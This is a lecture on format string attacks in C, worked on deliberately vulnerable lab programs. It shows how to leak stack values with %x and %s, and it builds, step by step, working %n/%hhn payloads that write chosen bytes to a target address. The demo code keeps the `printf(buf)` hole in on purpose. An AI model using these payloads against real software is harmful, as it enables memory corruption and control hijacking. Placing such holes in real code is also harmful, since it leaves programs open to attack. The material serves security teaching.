Lec. 20: Format String Attacks II
Table of Contents
1 Reading Memory with Format Attack
To start, let's return to the simple format example that is vulnerable:
#include <stdio.h> #include <stdlib.h> int main(int argc, char * argv[]){ char *s="Go Navy!"; int a=0xdeadbeef; int b=0xcafebabe; printf(argv[1]); // user controls the format printf("\n"); }
In this example, the user controls the format to the process, so they can pass in format sequences, like %#08x, or %s, or %n, and cause the printf to perform some action. The question we are concerned with first is: what is actually being accessed when we do this?
To begin, if we run this program, we can start to get a sense of what is going on:
user@si485H-base:demo$ ./format_error AAAA AAAA user@si485H-base:demo$ ./format_error %#08x 0xbffff754
So, if I pass a %#08x
we can see that there is what seems to be an
address printed out, and an address that is in the stack range. But,
what is that address? Where did it come from?
1.1 Reading up the stack
Let's look at example printf()
to think about how the arguments are
passed to it:
void foo( ... ){ //... printf("Format this: %d! And this: %s! And this too: %x", i, str, j); //... }
The arguments to this function within printf
's and foo
's stack
frame will look a little like this:
... |-----------| / | ret addr | / |-----------| / | sbp | (foo's return addres) | |-----------| | | foo | foo -| | local | stack | | variables| rrame | |-----------| | / | j | | / |-----------| |/ | str | /\ |-----------| | \ | i | | \ |-----------| | \| fmt_str +--> "Format this: %d! ..." printf| |-----------| stack-| | ret addr | (printf's return addres) frame | |-----------| | | sbp | <- ebp \ |-----------| \ | printf | \ | local | \ | variables| <- esp '-----------'
Now if we were to change our function, to something like this and leave out the extra arguments to printf().
void foo( ... ){ //... printf("Format this: %d! And this: %s! And this too: %x"); //<--- //... }
Now, we can start to get a sense of what happens in the format attack:
... |-----------| /| ret addr | / |-----------| / | sbp | (foo's return addres) | |-----------| | | foo | foo -| /| local | stack \/ | variables| rrame /\ |-----------| / \| fmt_str +--> "Format this: %d! ..." printf / |-----------| stack-| | ret addr | (printf's return addres) frame | |-----------| | | sbp | <- ebp \ |-----------| \ | printf | \ | local | \ | variables| <- esp '-----------'
Even though we are no longer passing values to printf to use in the format, printf will reach into the stack as if they are there. The result is that, if we can control the formats to printf, we can view arbitrary values on the stack.
1.2 Reading from
As an example of this, let's return to our function, let's try and get
the extra variables in main
to print out. To help with this, we'll
add the print_stack
function so we can see where we are:
#include <stdio.h> #include <stdlib.h> #include "print_stack.h" int main(int argc, char * argv[]){ char *s="Go Navy!"; int a=0xdeadbeef; int b=0xcafebabe; printf(argv[1]); // user controls the format printf("\n"); print_stack("main",2); //<-- check out the stack here }
user@si485H-base:demo$ ./format_error %#08x.%#08x 0xbffff754.0xbffff760 --- STACK main --- 0xbffff6c4 <ebp+0xc>: bffff754 0xbffff6c0 <ebp+0x8>: 00000002 0xbffff6bc <ebp+0x4>: b7e34a83 0xbffff6b8 <ebp>: 00000000 0xbffff6b4 <ebp-0x4>: 00000000 0xbffff6b0 <ebp-0x8>: 08048580 0xbffff6ac <ebp-0xc>: 0804865c 0xbffff6a8 <ebp-0x10>: deadbeef 0xbffff6a4 <ebp-0x14>: cafebabe 0xbffff6a0 <ebp-0x18>: b7fc53c4 0xbffff69c <ebp-0x1c>: b7e4e42d 0xbffff698 <ebp-0x20>: bffff760 <---!!! 0xbffff694 <ebp-0x24>: 00000002 0xbffff690 <ebp-0x28>: 08048665 0xbffff68c <ebp-0x2c>: 0804857e 0xbffff688 <ebp-0x30>: bffff6b8
Notice that the first value that comes out is 0xbffff754, what is that? Well some junk on the stack, but the second value, 0xbffff760, that's something. In fact we see exactly where it is. (Note, I used the '.' to seperaet each format to make it easier to read.)
Let's keep going with this little experiment:
user@si485H-base:demo$ ./format_error %#08x.%#08x.%#08x 0xbffff754.0xbffff760.0xb7e4e42d --- STACK main --- 0xbffff6c4 <ebp+0xc>: bffff754 0xbffff6c0 <ebp+0x8>: 00000002 0xbffff6bc <ebp+0x4>: b7e34a83 0xbffff6b8 <ebp>: 00000000 0xbffff6b4 <ebp-0x4>: 00000000 0xbffff6b0 <ebp-0x8>: 08048580 0xbffff6ac <ebp-0xc>: 0804865c 0xbffff6a8 <ebp-0x10>: deadbeef 0xbffff6a4 <ebp-0x14>: cafebabe 0xbffff6a0 <ebp-0x18>: b7fc53c4 0xbffff69c <ebp-0x1c>: b7e4e42d <-- !!! 0xbffff698 <ebp-0x20>: bffff760 0xbffff694 <ebp-0x24>: 00000002 0xbffff690 <ebp-0x28>: 08048665 0xbffff68c <ebp-0x2c>: 0804857e 0xbffff688 <ebp-0x30>: bffff6b8 user@si485H-base:demo$ ./format_error %#08x.%#08x.%#08x.%#08x 0xbffff744.0xbffff750.0xb7e4e42d.0xb7fc53c4 --- STACK main --- 0xbffff6b4 <ebp+0xc>: bffff744 0xbffff6b0 <ebp+0x8>: 00000002 0xbffff6ac <ebp+0x4>: b7e34a83 0xbffff6a8 <ebp>: 00000000 0xbffff6a4 <ebp-0x4>: 00000000 0xbffff6a0 <ebp-0x8>: 08048580 0xbffff69c <ebp-0xc>: 0804865c 0xbffff698 <ebp-0x10>: deadbeef 0xbffff694 <ebp-0x14>: cafebabe 0xbffff690 <ebp-0x18>: b7fc53c4 <-- !!! 0xbffff68c <ebp-0x1c>: b7e4e42d 0xbffff688 <ebp-0x20>: bffff750 0xbffff684 <ebp-0x24>: 00000002 0xbffff680 <ebp-0x28>: 08048665 0xbffff67c <ebp-0x2c>: 0804857e 0xbffff678 <ebp-0x30>: bffff6a8 user@si485H-base:demo$ ./format_error %#08x.%#08x.%#08x.%#08x.%#08x 0xbffff744.0xbffff750.0xb7e4e42d.0xb7fc53c4.0xcafebabe --- STACK main --- 0xbffff6b4 <ebp+0xc>: bffff744 0xbffff6b0 <ebp+0x8>: 00000002 0xbffff6ac <ebp+0x4>: b7e34a83 0xbffff6a8 <ebp>: 00000000 0xbffff6a4 <ebp-0x4>: 00000000 0xbffff6a0 <ebp-0x8>: 08048580 0xbffff69c <ebp-0xc>: 0804865c 0xbffff698 <ebp-0x10>: deadbeef 0xbffff694 <ebp-0x14>: cafebabe <-- !!! 0xbffff690 <ebp-0x18>: b7fc53c4 0xbffff68c <ebp-0x1c>: b7e4e42d 0xbffff688 <ebp-0x20>: bffff750 0xbffff684 <ebp-0x24>: 00000002 0xbffff680 <ebp-0x28>: 08048665 0xbffff67c <ebp-0x2c>: 0804857e 0xbffff678 <ebp-0x30>: bffff6a8 user@si485H-base:demo$ ./format_error %#08x.%#08x.%#08x.%#08x.%#08x.%#08x 0xbffff744.0xbffff750.0xb7e4e42d.0xb7fc53c4.0xcafebabe.0xdeadbeef --- STACK main --- 0xbffff6b4 <ebp+0xc>: bffff744 0xbffff6b0 <ebp+0x8>: 00000002 0xbffff6ac <ebp+0x4>: b7e34a83 0xbffff6a8 <ebp>: 00000000 0xbffff6a4 <ebp-0x4>: 00000000 0xbffff6a0 <ebp-0x8>: 08048580 0xbffff69c <ebp-0xc>: 0804865c 0xbffff698 <ebp-0x10>: deadbeef <-- !!! 0xbffff694 <ebp-0x14>: cafebabe 0xbffff690 <ebp-0x18>: b7fc53c4 0xbffff68c <ebp-0x1c>: b7e4e42d 0xbffff688 <ebp-0x20>: bffff750 0xbffff684 <ebp-0x24>: 00000002 0xbffff680 <ebp-0x28>: 08048665 0xbffff67c <ebp-0x2c>: 0804857e 0xbffff678 <ebp-0x30>: bffff6a8 user@si485H-base:demo$ ./format_error %#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%#08x 0xbffff734.0xbffff740.0xb7e4e42d.0xb7fc53c4.0xcafebabe.0xdeadbeef.0x804865c --- STACK main --- 0xbffff6a4 <ebp+0xc>: bffff734 0xbffff6a0 <ebp+0x8>: 00000002 0xbffff69c <ebp+0x4>: b7e34a83 0xbffff698 <ebp>: 00000000 0xbffff694 <ebp-0x4>: 00000000 0xbffff690 <ebp-0x8>: 08048580 0xbffff68c <ebp-0xc>: 0804865c <-- !!! 0xbffff688 <ebp-0x10>: deadbeef 0xbffff684 <ebp-0x14>: cafebabe 0xbffff680 <ebp-0x18>: b7fc53c4 0xbffff67c <ebp-0x1c>: b7e4e42d 0xbffff678 <ebp-0x20>: bffff740 0xbffff674 <ebp-0x24>: 00000002 0xbffff670 <ebp-0x28>: 08048665 0xbffff66c <ebp-0x2c>: 0804857e 0xbffff668 <ebp-0x30>: bffff698
Now, we can change the last format to a %s
and we can see the "Go Navy string"
user@si485H-base:demo$ ./format_error %#08x.%#08x.%#08x.%#08x.%#08x.%#08x.%s 0xbffff734.0xbffff740.0xb7e4e42d.0xb7fc53c4.0xcafebabe.0xdeadbeef.Go Navy! --- STACK main --- 0xbffff6a4 <ebp+0xc>: bffff734 0xbffff6a0 <ebp+0x8>: 00000002 0xbffff69c <ebp+0x4>: b7e34a83 0xbffff698 <ebp>: 00000000 0xbffff694 <ebp-0x4>: 00000000 0xbffff690 <ebp-0x8>: 08048580 0xbffff68c <ebp-0xc>: 0804865c 0xbffff688 <ebp-0x10>: deadbeef 0xbffff684 <ebp-0x14>: cafebabe 0xbffff680 <ebp-0x18>: b7fc53c4 0xbffff67c <ebp-0x1c>: b7e4e42d 0xbffff678 <ebp-0x20>: bffff740 0xbffff674 <ebp-0x24>: 00000002 0xbffff670 <ebp-0x28>: 08048665 0xbffff66c <ebp-0x2c>: 0804857e 0xbffff668 <ebp-0x30>: bffff698
1.3 Using Formats to Your Advantage
So that was a lot of work for tacking on %'s to get to "Go Navy" before. We can do better if we leverage the formats. In particular, the argument indexes format using the $.
Recall that you can refer to a specific argument in the format, such as in this example:
printf("%1$x %1$d\n",x);
Here, we have a single argument to the format statement, but we have
two formats. Each format usesin %1$*
to refer to the 1'st argument
so we can reference it twice. For example, the above is equivalent to
the below
printf("%x %d\n",x,x);
where the value being formatted is passed twice as an argument.
Now, let's do the same thing above to get the format to print. We can
count 7 total format directives until we reach the string, so we can
use the %7$s
to print the string with a single format directive.
user@si485H-base:demo$ ./format_error "%7\$s" Go Navy! --- STACK main --- 0xbffff6c4 <ebp+0xc>: bffff754 0xbffff6c0 <ebp+0x8>: 00000002 0xbffff6bc <ebp+0x4>: b7e34a83 0xbffff6b8 <ebp>: 00000000 0xbffff6b4 <ebp-0x4>: 00000000 0xbffff6b0 <ebp-0x8>: 08048580 0xbffff6ac <ebp-0xc>: 0804865c 0xbffff6a8 <ebp-0x10>: deadbeef 0xbffff6a4 <ebp-0x14>: cafebabe 0xbffff6a0 <ebp-0x18>: b7fc53c4 0xbffff69c <ebp-0x1c>: b7e4e42d 0xbffff698 <ebp-0x20>: bffff760 0xbffff694 <ebp-0x24>: 00000002 0xbffff690 <ebp-0x28>: 08048665 0xbffff68c <ebp-0x2c>: 0804857e 0xbffff688 <ebp-0x30>: bffff6b8
(Note that I had to escape the dollar symbol (\$
) because $
is a special bash command.)
You'll be surprised how useful this is later.
2 Writing Memory with a Format Attack
Now that you have a sense of how we can read memory arbitrarily, it is
time to unlock the true magic of the format print: writing to
arbitrary memory. This may not seem possible, but it totally is
and it is totally awesome. The key to writing to memory is the %n
format which will save the total number of bytes formatted so far. So
conceptually, if you were to format the right number of bytes (e.g.,
an address worth of bytes, like 0xbfff678) and then save how many
bytes you formatted to the right place (e.g., the return address),
then you could hijack a program! Easy, right?! Well, sometimes
… we'll take it in steps.
2.1 Controlling where we write
First let's recall that the %n
format works. The %n
format
directive will write how many bytes have been formatted to the address
passed as argument that matches the %n
.The challenge then is just
alignment and formatting enough bytes.
To demonstrate this, we'll work with the following program:
#include <stdio.h> #include <stdlib.h> #include <string.h> #define BUF_SIZE 1024 int main(int argc, char * argv[]){ char buf[BUF_SIZE]; static int test_val = 0x00414141; //"AAA\0" as an int strncpy(buf, argv[1], BUF_SIZE); printf("Right: "); printf("%s", buf);//<------safe printf("\n\n"); printf("Wrong: "); printf(buf); //<------vulnerable printf("\n\n"); printf("[*] test_val @ %p = %d 0x%08x\n", &test_val,test_val,test_val); exit(0); }
Let's see if we can overwrite testval with any integer of our choosing. To start with, let's see if we can change 0x00414141 to 0xEEDDCCBB.
To start, we need to determine how to align everything. To do this, we'll begin by seeding our format string with something we can hunt for, like BBBB and then look to see when our formats find that. Since we are working in main, we are essentially hunting up the stack trying to find the command line argument value that is the format string we are passing in.
user@si485H-base:demo$ ./fmt_vuln BBBB Right: BBBB Wrong: BBBB [*] test_val @ 0x804a02c = 4276545 0x00414141 user@si485H-base:demo$ ./fmt_vuln BBBB.%#08x Right: BBBB.%#08x Wrong: BBBB.0xbffff2c0 [*] test_val @ 0x804a02c = 4276545 0x00414141 user@si485H-base:demo$ ./fmt_vuln BBBB.%#08x.%#08x Right: BBBB.%#08x.%#08x Wrong: BBBB.0xbffff2b0.0x000400 [*] test_val @ 0x804a02c = 4276545 0x00414141 user@si485H-base:demo$ ./fmt_vuln BBBB.%#08x.%#08x.%#08x Right: BBBB.%#08x.%#08x.%#08x Wrong: BBBB.0xbffff2b0.0x000400.0x000004 [*] test_val @ 0x804a02c = 4276545 0x00414141 user@si485H-base:demo$ ./fmt_vuln BBBB.%#08x.%#08x.%#08x.%#08x Right: BBBB.%#08x.%#08x.%#08x.%#08x Wrong: BBBB.0xbffff2b0.0x000400.0x000004.0x42424242 [*] test_val @ 0x804a02c = 4276545 0x00414141
We found it, and the significance of that is really important because
that means we now control one of the arguments to the format. Consider
what happens when I change the last format directive to a %n
.
user@si485H-base:demo$ ./fmt_vuln BBBB.%#08x.%#08x.%#08x.%n Right: BBBB.%#08x.%#08x.%#08x.%n Segmentation fault (core dumped)
I get a segfault, and now you should all know that that means pay dirt for exploits. Let's see where we crashed with dmesg:
user@si485H-base:demo$ dmesg | tail -1 [4571638.361817] fmt_vuln[18555]: segfault at 42424242 ip b7e619ee sp bfffed60 error 6 in libc-2.19.so[b7e1b000+1a8000]
We crashed when we dereferenced 0x42424242, and we control that address.
user@si485H-base:demo$ ./fmt_vuln ABCD.%#08x.%#08x.%#08x.%n Right: ABCD.%#08x.%#08x.%#08x.%n Segmentation fault (core dumped) user@si485H-base:demo$ dmesg | tail -1 [4571771.090412] fmt_vuln[18559]: segfault at 44434241 ip b7e619ee sp bfffed60 error 6 in libc-2.19.so[b7e1b000+1a8000] user@si485H-base:demo$ ./fmt_vuln $(printf "\xef\xbe\xad\xde").%#08x.%#08x.%#08x.%n Right: οΎ?.%#08x.%#08x.%#08x.%n Segmentation fault (core dumped) user@si485H-base:demo$ dmesg | tail -1 [4571823.069638] fmt_vuln[18564]: segfault at deadbeef ip b7e619ee sp bfffed60 error 7 in libc-2.19.so[b7e1b000+1a8000]
If we control that value, it also means that we can put anything there, not just deadbeef, but a totally valid address that we want to change.
2.2 Writing a Single Byte
Now, to write a byte, let's plug into the leading B's the address of the targetvalue, which we see is 0x804a02c. We can use the command line printf to do that output:
user@si485H-base:demo$ ./fmt_vuln $(printf "\x2c\xa0\x04\x08").%#08x.%#08x.%#08x.%n Right: ,.%#08x.%#08x.%#08x.%n Wrong: ,.0xbffff2b0.0x000400.0x000004. [*] test_val @ 0x804a02c = 34 0x00000022
Great! That worked. But, we overwrote the whole target value including the A's. That's because we are writing a whole integer. What we really want to do is get it to write a single value, maybe just that null byte.
For that, we use the format directive flag h
, which specifies using
the half the format. So, for example, if we used %hn
then we are
writing the number of formatted bytes to a 2-byte short value. And if
we use %hhn
, then we are writing the number of formatted bytes to a
1-byte char value. For example:
user@si485H-base:demo$ ./fmt_vuln $(printf "\x2c\xa0\x04\x08").%#08x.%#08x.%#08x.%hn Right: ,.%#08x.%#08x.%#08x.%hn Wrong: ,.0xbffff2b0.0x000400.0x000004. [*] test_val @ 0x804a02c = 4259874 0x00410022 user@si485H-base:demo$ ./fmt_vuln $(printf "\x2c\xa0\x04\x08").%#08x.%#08x.%#08x.%hhn Right: ,.%#08x.%#08x.%#08x.%hhn Wrong: ,.0xbffff2b0.0x000400.0x000004. [*] test_val @ 0x804a02c = 4276514 0x00414122
Now that, we've got that one byte written, we have to align it. We are 3 bytes off, but that is an easy fix by changing the address of where we are writing to.
user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#08x.%hhn Right: /.%#08x.%#08x.%#08x.%hhn Wrong: /.0xbffff2b0.0x000400.0x000004. [*] test_val @ 0x804a02c = 574701889 0x22414141
2.3 Controlling what you write
Now that we can write a single byte, how do we control what we write?
For that, we have to remember exactly what %n
does, it writes the
number of bytes formatted so far. And, we control how many bytes are
provided to the format, so we just have to increase or decrease the
total number of bytes.
That means, for every additional byte we add prior to the %n
, we
increase the value of the byte we write by one.
user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")A.%#08x.%#08x.%#08x.%hhn Right: /A.%#08x.%#08x.%#08x.%hhn Wrong: /A.0xbffff2b0.0x000400.0x000004. [*] test_val @ 0x804a02c = 591479105 0x23414141 user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")AA.%#08x.%#08x.%#08x.%hhn Right: /AA.%#08x.%#08x.%#08x.%hhn Wrong: /AA.0xbffff2b0.0x000400.0x000004. [*] test_val @ 0x804a02c = 608256321 0x24414141 user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")AAAAAAAAAAAAAAAAAAAAAAA.%#08x.%#08x.%#08x.%hhn Right: /AAAAAAAAAAAAAAAAAAAAAAA.%#08x.%#08x.%#08x.%hhn Wrong: /AAAAAAAAAAAAAAAAAAAAAAA.0xbffff290.0x000400.0x000004. [*] test_val @ 0x804a02c = 960577857 0x39414141
You can already start to see a problem: Adding individual values to get the value we need can be really annoying. There's a better way, and again, it relies on the format directive flags. We can arbitrarily increase the length of an output by padding 0's. See below:
user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#08x.%hhn Right: /.%#08x.%#08x.%#08x.%hhn Wrong: /.0xbffff2b0.0x000400.0x000004. [*] test_val @ 0x804a02c = 574701889 0x22414141 user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#016x.%hhn Right: /.%#08x.%#08x.%#016x.%hhn Wrong: /.0xbffff2b0.0x000400.0x00000000000004. [*] test_val @ 0x804a02c = 708919617 0x2a414141 user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#022x.%hhn Right: /.%#08x.%#08x.%#022x.%hhn Wrong: /.0xbffff2b0.0x000400.0x00000000000000000004. [*] test_val @ 0x804a02c = 809582913 0x30414141 user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#0100x.%hhn Right: /.%#08x.%#08x.%#0100x.%hhn Wrong: /.0xbffff2b0.0x000400.0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004. [*] test_val @ 0x804a02c = 2118205761 0x7e414141
Great! But, there is still one problem here. You may have noticed that, the first value we wrote to that byte was 0x22. What if we want to write a value less than 0x22? It would seem that we can only add to the format length, not decrease.
Turns out, we are still in the clear because of overflows. See what happens when I set the format length such that we format more than 256 bytes.
user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#0228x.%hhn Right: /.%#08x.%#08x.%#0228x.%hhn Wrong: /.0xbffff2b0.0x000400.0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004. [*] test_val @ 0x804a02c = -29277887 0xfe414141 user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#0229x.%hhn Right: /.%#08x.%#08x.%#0229x.%hhn Wrong: /.0xbffff2b0.0x000400.0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004. [*] test_val @ 0x804a02c = -12500671 0xff414141 user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#0230x.%hhn Right: /.%#08x.%#08x.%#0230x.%hhn Wrong: /.0xbffff2b0.0x000400.0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004. [*] test_val @ 0x804a02c = 4276545 0x00414141 user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#0231x.%hhn Right: /.%#08x.%#08x.%#0231x.%hhn Wrong: /.0xbffff2b0.0x000400.0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004. [*] test_val @ 0x804a02c = 21053761 0x01414141
As we tick over for 0xff, we wrap back around to 0x00 then 0x01 and so on. Now we can full control what we write, and to where.
2.4 Writting multiple bytes
The final test is getting to write multiple bytes. Our goal is to write 0xdeabeef over the target. We are actually almost there. The first thing we need to do is to write 0xbe to the byte we were messing with before.
Doing some math, we see that we were writing 0x22. To get to 0xbe that is an additional 156 bytes in the format or so.
ser@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#0156x.%hhn Right: /.%#08x.%#08x.%#0156x.%hhn Wrong: /.0xbffff2b0.0x000400.0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004. [*] test_val @ 0x804a02c = -1237237439 0xb6414141
That was close. We are off by 8.
user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08").%#08x.%#08x.%#0164x.%hhn Right: /.%#08x.%#08x.%#0164x.%hhn Wrong: /.0xbffff2b0.0x000400.0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004. [*] test_val @ 0x804a02c = -1103019711 0xbe414141
Ok, now we can write the next byte. We do this by adding another
%hhn
to the format string and again, this format directive needs to
have an address filled.
user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")$(printf "\x2e\xa0\x04\x08")%#08x.%#08x.%#0164x.%hhn.%hhn Right: /.%#08x.%#08x.%#0164x.%hhn.%hhn Wrong: /.0xbffff2a0.0x000400.0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004.. [*] test_val @ 0x804a02c = -1044233919 0xc1c24141
Crap! We changed our format length. Now we got to do the whole calculation again … but as usual, there is a better way.
Instead of doing these calculations one at a time, lets take advantage
of the format directives we've learned and try and be smart about
things. Firsts, let's get verything setup so that we have all our
%hhn
formats to write to each of the bytes in the target variable.
user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")$(printf "\x2e\xa0\x04\x08")$(printf "\x2d\xa0\x04\x08")$(printf "\x2c\xa0\x04\x08").%1\$08x.%4\$08x.%1\$08x.%\5\$08x.%1\$08x.%\6\$08x.%1\$08x.%\7\$08x Right: /.-,.%1$08x.%4$08x.%1$08x.%5$08x.%1$08x.%6$08x.%1$08x.%7$08x Wrong: /.-,.bffff280.0804a02f.bffff280.0804a02e.bffff280.0804a02d.bffff280.0804a02c [*] test_val @ 0x804a02c = 4276545 0x00414141
If you look closely at the format, you see we are doing argument
indexing to shorten the format length. We now have a bunch of %x
referencing the address we want to write too plus each has a leading
%x
format so we can adjust the leading zeros to change how much we
can change the byte we are writing to that address.
Now it is just a matter of changing the %x
that match the addresses
we want to write to %hhn
and then manipulating the number of 0's in
the output.
ser@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")$(printf "\x2e\xa0\x04\x08")$(printf "\x2d\xa0\x04\x08")$(printf "\x2c\xa0\x04\x08").%1\$08x.%4\$hhn.%1\$08x.%\5\$hhn.%1\$08x.%\6\$hhn.%1\$08x.%\7\$hhn Right: /.-,.%1$08x.%4$hhn.%1$08x.%5$hhn.%1$08x.%6$hhn.%1$08x.%7$hhn Wrong: /.-,.bffff280..bffff280..bffff280..bffff280. [*] test_val @ 0x804a02c = 438578744 0x1a242e38
First, we need to change 0x1a into 0xde, that requires 196 additional
bytes. The first %1$08x
changes into %1$0204x
(that is, we were
printing up to 8 leading 0's, now we need 196 more to reach 204
leading zeros).
user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")$(printf "\x2e\xa0\x04\x08")$(printf "\x2d\xa0\x04\x08")$(printf "\x2c\xa0\x04\x08").%1\$0204x.%4\$hhn.%1\$08x.%\5\$hhn.%1\$08x.%\6\$hhn.%1\$08x.%\7\$hhn Right: /.-,.%1$0204x.%4$hhn.%1$08x.%5$hhn.%1$08x.%6$hhn.%1$08x.%7$hhn Wrong: /.-,.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bffff280..bffff280..bffff280..bffff280. [*] test_val @ 0x804a02c = -555158788 0xdee8f2fc
Next up, we need to change 0xe8 into 0xad. That will require
overflowing and coming back around, which means wee need 0xff-0xea+1
to re-zero than additional 0xad bytes to write, or 195 additional
bytes. Again, considering that we started by formatting 0x8, that means we change the second %x
to have 205 leading zeros.
user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")$(printf "\x2e\xa0\x04\x08")$(printf "\x2d\xa0\x04\x08")$(printf "\x2c\xa0\x04\x08").%1\$0204x.%4\$hhn.%1\$0205x.%\5\$hhn.%1\$08x.%\6\$hhn.%1\$08x.%\7\$hhn Right: /.-,.%1$0204x.%4$hhn.%1$0205x.%5$hhn.%1$08x.%6$hhn.%1$08x.%7$hhn Wrong: /.-,.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bffff280..00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bffff280..bffff280..bffff280. [*] test_val @ 0x804a02c = -559040575 0xdeadb7c1
Two more to go. We have 0xb7
needs to become 0xbe
. that's easy, that's an additional 7 bytes, so we need to change the next %x to use 15 leading zeros.
user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")$(printf "\x2e\xa0\x04\x08")$(printf "\x2d\xa0\x04\x08")$(printf "\x2c\xa0\x04\x08").%1\$0204x.%4\$hhn.%1\$0205x.%\5\$hhn.%1\$015x.%\6\$hhn.%1\$08x.%\7\$hhn Right: /.-,.%1$0204x.%4$hhn.%1$0205x.%5$hhn.%1$015x.%6$hhn.%1$08x.%7$hhn Wrong: /.-,.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bffff280..00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bffff280..0000000bffff280..bffff280. [*] test_val @ 0x804a02c = -559038776 0xdeadbec8
Finally, we have 0xc8 that needs to become 0xef, which requires 39 additional leading zeros. So the last %x needs to be changed to 47.
user@si485H-base:demo$ ./fmt_vuln $(printf "\x2f\xa0\x04\x08")$(printf "\x2e\xa0\x04\x08")$(printf "\x2d\xa0\x04\x08")$(printf "\x2c\xa0\x04\x08").%1\$0204x.%4\$hhn.%1\$0205x.%\5\$hhn.%1\$015x.%\6\$hhn.%1\$047x.%\7\$hhn Right: /.-,.%1$0204x.%4$hhn.%1$0205x.%5$hhn.%1$015x.%6$hhn.%1$047x.%7$hhn Wrong: /.-,.0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bffff280..00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bffff280..0000000bffff280..000000000000000000000000000000000000000bffff280. [*] test_val @ 0x804a02c = -559038737 0xdeadbeef
And there it is: DEADBEEF!